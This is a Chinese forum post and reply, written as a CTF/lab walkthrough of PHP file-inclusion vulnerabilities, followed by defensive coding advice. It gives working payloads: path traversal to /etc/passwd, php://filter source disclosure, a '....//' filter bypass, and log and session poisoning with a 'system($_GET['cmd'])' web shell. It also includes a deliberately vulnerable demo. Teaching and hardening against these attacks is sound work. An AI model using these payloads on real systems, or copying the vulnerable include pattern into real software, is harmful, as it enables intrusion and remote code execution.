发布于6小时前6小时 背景 文件包含是 CTF Web 题里很常见的一类入口,尤其是 PHP 环境下的 include、require、include_once。这类题不一定一上来就是 RCE,更多时候需要结合源码泄露、日志投毒、Session 文件、上传点、PHP 伪协议等方式逐步扩大影响。 本文以靶场/CTF 场景为前提,整理一套比较常用的分析流程。重点放在解题思路和可复现细节,不讨论未授权实战利用。 技术分析 典型易受影响代码如下: <?php $page = $_GET['page'] ?? 'home.php'; include($page); ?> 如果参数 page 没有做白名单限制,攻击者就可以控制被包含的文件路径。根据环境配置不同,常见利用方向包括: 本地文件包含 LFI:读取或包含服务器本地文件,如 /etc/passwd、应用配置文件。 源码读取:通过 php://filter 读取 PHP 源码,而不是执行它。 日志包含:把可控内容写入 Web 日志,再包含日志文件执行。 Session 包含:控制 Session 内容,再包含 Session 文件。 上传文件包含:上传图片马或文本文件,再通过包含触发执行。 操作步骤 1. 判断是否存在文件包含 先观察 URL 参数,例如: 尝试切换参数: ?page=home.php ?page=./home.php ?page=../../../../etc/passwd 如果返回内容发生明显变化,或者出现 PHP Warning,例如: Warning: include(../../../../etc/passwd): failed to open stream 基本可以确认存在可控包含点。CTF 中即使关闭报错,也可以通过页面差异、HTTP 状态码、响应长度判断。 2. 使用 php://filter 读取源码 很多题目会把 flag 读取逻辑藏在 PHP 文件里。直接包含 PHP 文件会执行代码,不能看到源码。这时可以用 php://filter 做 Base64 编码读取: ?page=php://filter/read=convert.base64-encode/resource=index.php 返回结果通常是一段 Base64,解码即可看到源码: echo 'PD9waHAKJGZsYWcgPSAnZmxhZ3s...' | base64 -d 如果文件名未知,可以优先尝试: index.php config.php flag.php db.php class.php 3. 路径穿越与过滤绕过 部分题目会做简单过滤,例如禁止 ../,但过滤方式比较粗糙: <?php $page = str_replace('../', '', $_GET['page']); include($page); ?> 这种情况下可以尝试嵌套绕过: ....//....//....//etc/passwd 因为 ....// 删除中间的 ../ 后,可能重新变成 ../。不同代码实现结果不一样,需要结合返回内容测试。 还可能遇到强制拼接后缀: <?php include($_GET['page'] . '.php'); ?> 现代 PHP 已经很少能用空字节截断,CTF 中更常见的思路是读源码、寻找可包含文件,或者结合上传点让上传文件名满足后缀规则。 4. 日志包含思路 如果能包含 Web 日志,并且能控制写入日志的内容,就可能进一步执行 PHP 代码。常见日志路径: /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log 写入方式通常是把 PHP 片段放到 User-Agent 中: GET / HTTP/1.1 Host: target.test User-Agent: <?php system($_GET['cmd']); ?> 随后访问: ?page=/var/log/apache2/access.log&cmd=id 注意:现在很多靶场会限制日志权限,或者 PHP-FPM 用户无权读取 Web 日志。如果读取失败,不要一直卡在日志方向,应该回头看源码和上传点。 5. Session 文件包含 PHP 默认 Session 文件常见路径: /tmp/sess_{PHPSESSID} /var/lib/php/sessions/sess_{PHPSESSID} 如果某个参数会写入 Session,例如: <?php session_start(); $_SESSION['name'] = $_GET['name']; ?> 可以先写入: ?name=<?php system($_GET['cmd']); ?> 假设 Cookie 中的 PHPSESSID=abc123,再包含: ?page=/tmp/sess_abc123&cmd=id Session 包含在 CTF 里很常见,尤其适合那些没有上传点、日志不可读,但存在可控 Session 写入的题。 代码示例:本地复现一个最小靶场 可以用下面代码搭一个最小环境,便于理解 php://filter 的效果。 <?php // index.php $page = $_GET['page'] ?? 'home.php'; // 漏洞点:没有对白名单进行限制 include($page); <?php // home.php echo "this is home page"; <?php // flag.php $flag = "flag{local_test_flag}"; echo "no flag here"; 启动 PHP 内置服务: php -S 127.0.0.1:8000 访问: 拿到 Base64 后解码,即可看到 flag.php 源码中的变量内容。 注意事项 优先读源码:CTF 中不要急着打 RCE,很多题 flag 就在源码或配置文件里。 区分读取和执行:php://filter 适合读源码;普通 include PHP 文件会执行,不会直接显示源码。 关注路径基准:相对路径基于当前执行脚本所在目录,不一定是 Web 根目录。 注意 open_basedir:如果配置了 open_basedir,很多系统路径会读不到,需要优先找应用目录内文件。 看报错信息:Warning 中经常会泄露真实路径、拼接规则、后缀限制。 不要忽略包含后缀:如果代码自动拼接 .php,payload 要按实际拼接结果调整。 防护建议 从开发角度看,文件包含问题最好不要靠黑名单修修补补,建议直接使用白名单映射: <?php $pages = [ 'home' => __DIR__ . '/pages/home.php', 'about' => __DIR__ . '/pages/about.php', ]; $key = $_GET['page'] ?? 'home'; if (!isset($pages[$key])) { http_response_code(404); exit('page not found'); } include $pages[$key]; 同时建议: 关闭生产环境错误回显,错误写入安全位置。 禁用不必要的远程文件包含配置,如 allow_url_include。 合理配置 open_basedir,限制 PHP 可访问目录。 上传目录不要允许 PHP 解析。 日志文件权限不要给 Web 运行用户读取。 总结 文件包含题的核心不是记 payload,而是判断包含点、确认路径规则、读取源码、再根据环境选择日志、Session、上传等利用链。实际做题时建议按“参数可控性 → 报错信息 → php://filter 读源码 → 敏感文件 → 可控写入点”的顺序推进,效率会比盲目 fuzz 高很多。 网络请求、日志与边界流量分析示意
6小时前6小时 这类题里有个细节容易被忽略:只过滤 `../` 或只做后缀拼接,基本挡不住 `php://filter`。如果原题是类似这样: $file = $_GET['file']; include $file . '.php'; 那不只是目录穿越问题,协议包装器本身就是入口。比如读源码常见写法: php://filter/read=convert.base64-encode/resource=index 如果后面强制拼了 `.php`,最终会变成读取 `index.php`,base64 解码后就能看到源码。 防护上建议不要只靠黑名单过滤关键字,实际一点的做法是“白名单映射”,不要让用户输入直接进入 `include`: $pages = [ 'home' => __DIR__ . '/pages/home.php', 'about' => __DIR__ . '/pages/about.php', ]; $key = $_GET['page'] ?? 'home'; if (!isset($pages[$key])) { http_response_code(404); exit('not found'); } include $pages[$key]; 如果业务上确实要按文件名加载,也至少做规范化路径校验: $base = realpath(__DIR__ . '/pages'); $name = $_GET['page'] ?? 'home'; if (!preg_match('/^[a-zA-Z0-9_-]+$/', $name)) { exit('bad request'); } $path = realpath($base . '/' . $name . '.php'); if ($path === false || strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0) { exit('bad path'); } include $path; 另外可以检查一下环境配置,虽然不能替代代码层防护,但能减少攻击面: ; php.ini allow_url_fopen = Off allow_url_include = Off 需要注意的是,`allow_url_include=Off` 主要影响远程 URL 包含,对 `php://filter` 这类本地流包装器的限制并不等同,所以核心还是不要把可控参数直接传给 `include/require`。 排查已有代码时可以先 grep 一下这些点: grep -RInE "include|require|include_once|require_once" ./src grep -RInE "\$_GET|\$_POST|\$_REQUEST" ./src 重点看是否存在参数拼接路径、后缀补全、简单 `str_replace('../','')` 这类逻辑。CTF 里经常就是利用这些“看似处理过”的地方。
创建帐户或登录后发表意见